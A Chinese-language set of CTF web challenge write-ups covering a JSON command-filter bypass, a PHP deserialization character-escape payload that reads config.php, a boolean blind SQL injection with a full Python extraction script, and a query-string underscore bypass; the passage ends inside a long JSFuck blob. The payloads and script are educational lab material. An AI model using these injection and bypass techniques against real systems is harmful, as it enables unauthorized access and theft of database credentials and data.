又是一个集合形的CTF赛题集锦,依旧延续上次那样一次性写N多道题目。

[FBCTF2019]RCEService

原始信息

Service:服务器

<html>
<body>
<h1>Web Adminstration Interface</h1>
<form>
Enter command as JSON:
<input name="cmd" />
</form>
</body>
</html>

解题

扫站扫不出个所以然,尝试直接输入参数进行测试

get: ?cmd=ls
return:输入无效
get: ?cmd=cat index.php
return: Hacking attempt detected

尝试以json格式访问

get:?cmd={"cmd":"ls"}
return: index.php
get:?cmd={"cmd":"cat index.php"}
return: Hacking attempt detected

尝试换行绕过匹配

get:?cmd={%0A"cmd":"cat index.php"%0A}
return:

尝试使用cat的绝对路径来执行命令

get:?cmd={%0A"cmd":"/bin/cat index.php"%0A}
return: 得到源码

源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

服务器当中,flag不在根目录,也不在当前目录。假设这是个服务器,那么应该存放在网站目录下,或者根目录,或者用户目录当中。

尝试访问用户目录进行查找:

get:?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}
return:flag{0a45a344-da9d-4d40-92b7-fb2375ba33b7}

总结

换行绕过:%0a
json格式:{"cmd":"ls"}
存放flag的目录:用户目录,当前目录,根目录

[0CTF 2016]piapiapia

原始信息

题目扫站的时候扫出了一个www.zip文件,大概框架如下:

|   class.php
| config.php
| index.php
| profile.php
| register.php
| update.php
|
+---static
| bootstrap.min.css
| bootstrap.min.js
| jquery.min.js
| piapiapia.gif
|
+---upload
\---__MACOSX
| ._class.php
| ._config.php
| ._index.php
| ._profile.php
| ._register.php
| ._static
| ._update.php
| ._upload
|
\---static
._bootstrap.min.css
._bootstrap.min.js
._jquery.min.js
._piapiapia.gif

排除除了update下面的所有文件,文件内容进行分析。

解题

原本看到问题,下意识的使用SQL注入+爆破+扫站,但……只有扫站有结果,其他两个不了了之……

扫站扫出了个www.zip和注册页面,因为是dirmap慢速扫的,总是会出现不三不四的bug,也可能漏掉了几个关键的文件。

扫站扫出的网站备份文件的骨架就是上面那个。从前辈那学到的经验:优先查看每个页面是否包含漏洞函数。

这算是第二次见到这种类型了吧……(纯小白)

挖掘漏洞函数:

序列化函数serialize

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';

获取文件内容函数file_get_contents

反序列化函数unserialize

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

梳理漏洞函数相关执行流程

更新信息页挖掘:update.php

注 : 为了方便理清思路,冗余的代码不做过度的注释。

前面的注册,登录页面没有什么利用点,这里直接使用更新页面的php函数进行分析

$username = $_SESSION['username'];
# 正常的电话号码验证(严格)
if (!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

# 正常的邮箱验证(严格)
if (!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

# 字母数字下划线过滤(数组绕过)
if (preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if ($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
# 把信息转储到数组
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

# 将数组序列化后传递给update_profile(漏洞点)
$user->update_profile($username, serialize($profile));

update_profile下执行的函数

public function update_profile($username, $new_profile)
{
# 调用过滤
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";

# 更新入数据库
return parent::update($this->table, 'profile', $new_profile, $where);
}

先看下filter:

public function filter($string)
{
# 将'和\替换为_
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

# 将数据库的关键字符串替换为hack。
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

filter 的功能是 替换关键字符串 ,当替换where的时候,会多溢出一个字符串的空间。下面会调用到。

再来看下update:

public function update($table, $key, $value, $where)
{
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

数据库传入表格的更新模板,但传入值三个被定死,只有序列化的字符串能被修改。

展示信息页挖掘:profile.php

展示信息页的函数执行流程分析:

其他的用户身份认证的步骤就省略了,直接看反序列化部分:

$profile=$user->show_profile($username);

# 反序列化后直接调用,推测是和之前一样的数组(调用方式完全相同……)
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
# 读取文件并且编码为base64
$photo = base64_encode(file_get_contents($profile['photo']));

再将字符串进行输出:

<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi <?php echo $nickname;?></h3>
<label>Phone: <?php echo $phone;?></label>
<label>Email: <?php echo $email;?></label>

这是将数据获取后直接输出的,这个时候就可以考虑发序列化了。

原本想要修改的数据过滤太过严谨,唯独用户名那边可以钻空子。

这些输出的数据正是我们更新的数据,所以说,需要修改的数据在更新文件update.php当中。

反序列化之字符逃逸(垃圾回收机制利用)

原材原引自这位大佬:WP

$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($a));
var_dump(unserialize($b));
# 原理:挤掉原本合法的序列化字符串,使用新的字符串替代,再利用垃圾回收机制抛弃原始的字符串。
# 思路:利用序列化包装字符串,再利用反序列化解包字符串,利用file_get_contents读取文件内容。
# 其中,在探查config.php的过程当中,出现了下面信息数据库连接信息和$flag,应该是存放flag的地方
# 假设没有flag,但此处有数据库信息,可能可以尝试进行数据库的读取

测试完邮箱和电话号码,两者过滤机制很严格。能在调用反序列化的前提下利用反序列化的垃圾回收机制的只有用户别名了。

用户别名的过滤是这个样子的:

if (preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

只需要写个简单的数组过滤绕过去,就能在数组内插入反序列化字符串了。

根据这个数组是从更新文件那边抓的,用来构造序列化字符串:

$profile['phone'] = '17328888888';
$profile['email'] = '2732898888@qq.com';
$profile['nickname'] = array("1");#注入的地方
$profile['photo'] = 'upload/123';
# 根据顺序去添加的数组会按照顺序进行排列
# photo必然排列在数组末尾
# 所有的过滤除了nickename外过滤都很严格
# 现在只需要在nickname尝试载入序列化字符串即可
$x = serialize($profile);

#得到序列化的字符串
a:4:{s:5:"phone";s:11:"17328888888";s:5:"email";s:17:"2732898888@qq.com";s:8:"nickname";a:1:{i:0;s:1:"1";}s:5:"photo";s:10:"upload/123";}
#拆分字符串进行修改
# 1.
a:4:{s:5:"phone";s:11:"17328888888";s:5:"email";s:17:"2732898888@qq.com";s:8:"nickname";a:1:{i:0;s:1:"
# 2.
1";}s:5:"photo";s:10:"upload/123";}
# 把第二部分进行篡改,把读取的文件换成我们想要读取的config.php
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
# 改写为where的原因:原本字符串被反序列化的时候是会被计算长度的,使用where时被hacker,多出了一个字符。
# 利用where被hacker替换后增加的1个字符串的位置溢出序列化的固定长度
# 写那么多个where的原因:wherre用来挤占nickname序列化的固定空间,防止后面的";}s:5:"photo";s:10:"config.php";} 34个字符串被计入nickname当中。
# 每一个where溢出一个位置,共计溢出34个字符,刚好挤掉位置,完成序列化的替代。

假设序列化字符串和被替换字符串是这样的:
a:2:{s:8:"username";s:4:"kali";s:8:"password";s:9:"where1233";}
a:2:{s:8:"username";s:4:"kali";s:8:"password";s:9:"hacker1233";}
明显上面的r把大括号给挤出去了,长度明显大于9。但是逃逸的字符串只有一个。
如果是大批量的挤出就会形成大量的空间。
# 改完后,把这个特殊的字符串放到数据包当中发出去

在根据数据包替换数据的时候,把关键字符串替换到用户名那再发包即可。

下面是数据包相关的信息:

-----------------------------309356887319876219933161643944
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
-----------------------------309356887319876219933161643944

返回信息:

<b>Warning</b>:  preg_match() expects parameter 2 to be string, array given in <b>/var/www/html/update.php</b> on line <b>15</b><br />
<br />
<b>Warning</b>: strlen() expects parameter 1 to be string, array given in <b>/var/www/html/update.php</b> on line <b>15</b><br />
Update Profile Success!<a href="profile.php">Your Profile</a>

Update Profile Success就表示执行成功了。

再访问显示信息的页面,把img下的base64字符串解码即可。

<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2JhMzZmNjRhLTRmOTktNDU1My1hMjAxLWY3MmE1YjQ0NmQzZX0nOwo/Pgo=" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi Array</h3>
<label>Phone: 16511349333</label>
<label>Email: 1445556721@qq.com</label>
</div>
</body>

# 关键的base64字符串
# PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2JhMzZmNjRhLTRmOTktNDU1My1hMjAxLWY3MmE1YjQ0NmQzZX0nOwo/Pgo=

解码:

<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'flag{ba36f64a-4f99-4553-a201-f72a5b446d3e}';
?>

总结

这次涉及了字符串的反序列化字符逃逸,大概经验收集如下:

$a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($a));
var_dump(unserialize($b));

[WUSTCTF2020]颜值成绩查询

原始信息

只有一个网页查询窗口,对应URL展示的信息如下:

GET:9896d2a5-7d1b-4efb-8c0f-1d7703e99761.node4.buuoj.cn:81/?stunum=1
return: Hi admin, your score is: 100

GET:9896d2a5-7d1b-4efb-8c0f-1d7703e99761.node4.buuoj.cn:81/?stunum=-1
return:student number not exists.

其余信息扫不出来。

解题

无法对ID进行普通的SQL注入,因为这个有数值验证。

如果是数据库内查询这个句子会变成啥?

尝试使用SQL数据库的if语句进行查询:

布尔注入,使用if(a,b,c)辅助实现。
如果a为true,则返回b
如果a为false,返回c

简单的理解了什么是if语句后,尝试使用这个句子进行访问:

GET:9896d2a5-7d1b-4efb-8c0f-1d7703e99761.node4.buuoj.cn:81/?stunum=if((1>0),1,-1)
return: Hi admin, your score is: 100

GET:9896d2a5-7d1b-4efb-8c0f-1d7703e99761.node4.buuoj.cn:81/?stunum=if((1<0),1,-1)
return:student number not exists.

这里既然都能使用mysql的if语句了,很显然这就是我们这次答题的注入点。

既然能通过布尔状态返回两种有特殊特征的字符串,那么可以尝试进行 布尔注入

# 以下面这句句子为基础,我们只需要替换一个地方的字符串即可:
# 大括号的位置是我们要换上的内容
## 第一部分句子:
http://e8d02b1d-0f1f-44bd-b85e-b32fba306b48.node4.buuoj.cn:81/?stunum={}
## 第二部分句子:
if((ord(substring({0},{1},1))={2}),1,-1)
## 这个就是我们要修改的句子,或者注入的句子
## {0}是注入的句子,{1}是截取的字符串的起始位置,{2}是ascii字符串的十进制值
## 我们只需要插入到{0}的位置即可。{1}和{2}是后面爆破用的,这里暂时省略
## ord:将对应字符转为ascii码的十进制数
## substring(x,1,1):将字符串x从第1位开始截取1位。
if((ord(substring({0},{1},1))={2}),1,-1)

在写布尔注入前,先提一嘴SQL注入的流程:

SQL注入的流程大概分为:爆库 => 爆表 => 爆表字段 => 爆字段值

作为个人,博主习惯的是直接获取一列的内容直接进行展出

针对{0}位置的语句插入进行布尔注入:

# 爆库
{0} = (database())
## 合并为完整的一句:(假设当前爆破的是数据库名的第二个字符)
http://e8d02b1d-0f1f-44bd-b85e-b32fba306b48.node4.buuoj.cn:81/?stunum=if((ord(substring((database()),2,1))=97),1,-1)
## 仔细观察这句就能看出大概构造流程的最终结果了
## 下面仅描述{0}插入的值
# 经过查询,爆出的列数据库名字为:ctf

# 爆表
{0} = (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))
# 查出的表名:'flag,score'

# 爆字段(两个表,每个表分开爆)
{0} = (select(group_concat(column_name))from(information_schema.columns)where(table_name="flag"))
{0} = (select(group_concat(column_name))from(information_schema.columns)where(table_name="score"))
# 爆出的结果是:['flag,value', 'id,name,score']

# 爆字段值(当前仅选择flag表的value列)
{0} = (select(group_concat(value))from(ctf.flag))
# 这个查出来直接就是flag了。

为了方便爆破,自己写了个脚本进行辅助。不过因为不是多线程,爆破速度比较缓慢……

# coding=utf8
import requests, time
# tqdm,进度条库
from tqdm import tqdm, tnrange

## 测试布尔注入
def bool_cs_request(url, get_vals, code):
urls = url + '?' + get_vals

def get_status(value):
"""
攻击包内容判断器
:param value: 传入html包内容
:return: 检测状态的布尔值
"""
if "student number not exists" not in value.text and "Hi admin, your score is: 100" in value.text:
return True
else:
return False

def get_val(value, urls):
"""
布尔爆破器
:param value:爆破的SQL语句
:param urls: 爆破的URL
:return: 爆破后的字符串

唯一弊端:太慢了,没有达到多线程攻击
"""
data = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0"
}
name_val = ''
all_sql = 'if((ord(substring({0},{1},1))={2}),1,-1)'
get_database_name_sql = value
for i in range(1, 100000):
lin_val = name_val
for ascii_one in tqdm(list, desc='单字符攻击进度', unit='个'):
val = requests.get(urls.format(all_sql.format(get_database_name_sql, i, ascii_one)), headers=data)
time.sleep(0.1)
if get_status(val):
name_val += chr(ascii_one)
print()
print(name_val)
break

if lin_val == name_val:
break
return name_val

# 生成ascii码表
# ascii表数据的优化:
def n_to_l(num_start, num_end):
lists = []
for i in range(num_start, num_end):
lists.append(i)
return lists

l ,ls= n_to_l(97, 122) + n_to_l(65, 90) + n_to_l(48, 58) + [95, 123, 125, 44, 45, 46] + n_to_l(32, 43)[::-1],[]
for i in range(32, 127):
if i not in l:
ls.append(i)
list = l+ls[::-1]

# 爆库名
database_sql = 'database()'
database_name = get_val(database_sql, urls)

# print('数据库名:' + database_name)

# 爆表
table_sql = "(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))"
table_name = get_val(table_sql, urls)
table_list = []
flag = 0
# 分割获取的表名存入列表当中
if ',' in table_name:
table_list = table_name.split(',')
flag = 1

# 爆列/字段
## 存储每个表对应的字段
l_list = []
if flag == 1:
for name in table_list:
l_sql = '(select(group_concat(column_name))from(information_schema.columns)where(table_name="{}"))'.format(
name)
l_list.append(get_val(l_sql, urls))
l_list = ['flag,value', 'id,na']

## 分割每个表字段的值
all_field = [i.split(',') for i in l_list]

# 爆破值
find_num = 0
field_num = 0
try:
print('库名:',database_name)
print('只能输入数字,不能输入其它。')
print('表名:', table_list)
print('字段:', all_field)
control_table = input('请输入要控制的查那些表(注意!只能选择一张表进行查询!):').strip()
control_field = input('请输入要控制的表对应的字段有那些(以0为初始值选择表对应的字段,一次性只能选择一个字段):').strip()
find_num += int(control_table)
field_num += int(control_field)
except:
field_num = 0
print('你的输入有误!默认只查询第一张表!')

# 根据输入选择的表和字段值进行查询,防止出现遍历的情况
if (find_num < len(table_list) and find_num >= 0):
if field_num >= 0 and field_num <len(all_field[find_num]):
# 生成SQL语句
feild_val = '(select(group_concat({}))from({}.{}))'.format(all_field[find_num][field_num], database_name,
table_list[find_num])
print(get_val(feild_val, urls))
else:
print('你正在查询一个不存在的字段……')
else:
print('你正在查询一个不存在的表……')


if __name__ == '__main__':
# url = 'http://e8d02b1d-0f1f-44bd-b85e-b32fba306b48.node4.buuoj.cn:81/'
url = input('请输入你的URL(形如http://xxx.xxx.com:81/):')
get_parameters = 'stunum={}'
bool_cs_request(url, get_parameters, code=1)

总结

  • SQL注入–布尔注入
  • mysql的if语句
  • Python脚本

[MRCTF2020]套娃

原始信息

很少,但是有源代码信息提示

<!--
//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello BUPTers</title>
</head>
<body>
<h1>Welcome!</h1>
<span>这只不过是个小测试区,啥都没有,还请各位多多包涵!</span>
<span>made by crispr</span>
<br></br>
<br></br>
<div>
<img src="https://timgsa.baidu.com/timg?image&quality=80&size=b9999_10000&sec=1583738587360&di=ba2d04cc2ba8603ccaab3d9673976d76&imgtype=0&src=http%3A%2F%2Fimgsrc.baidu.com%2Fforum%2Fw%3D580%2Fsign%3D64c278455f6034a829e2b889fb1249d9%2F46c3bf12c8fcc3ce3e1a38779145d688d63f20eb.jpg" style="width:1500px;height:500px;">
</div>
</body>
</html>

解题

一层

截取源代码进行分析

$query = $_SERVER['QUERY_STRING'];
# php特性,什么东西会转化为下划线
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
# preg_match('/^23333$/ =>前后匹配的正则表达式,使用换行绕过
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

尝试解开参数的下划线问题后,直接写参数:

get: ?b u p t=23333%0a
<!--
%0a是换行
bupt间的空格是控制起在服务端获取的变量名变成b_u_p_t

传参后得到信息:
-->
return: FLAG is in secrettw.php

php字符串解析机制点我查看,不过貌似版本越高解析机制越严谨。

二层

跳转到secrettw.php访问的时候得到下面信息:

Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!


Flag来了~但是怎么获取呢?仅限本地访问!
抱歉,您没有权限! 您的IP是:抱歉,此方式已被禁止! (机翻)

本地访问的话,意思就是本地IP爆破了。

翻了下题目源代码的时候,发现其中还是有一个信息:

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+((+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+!+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[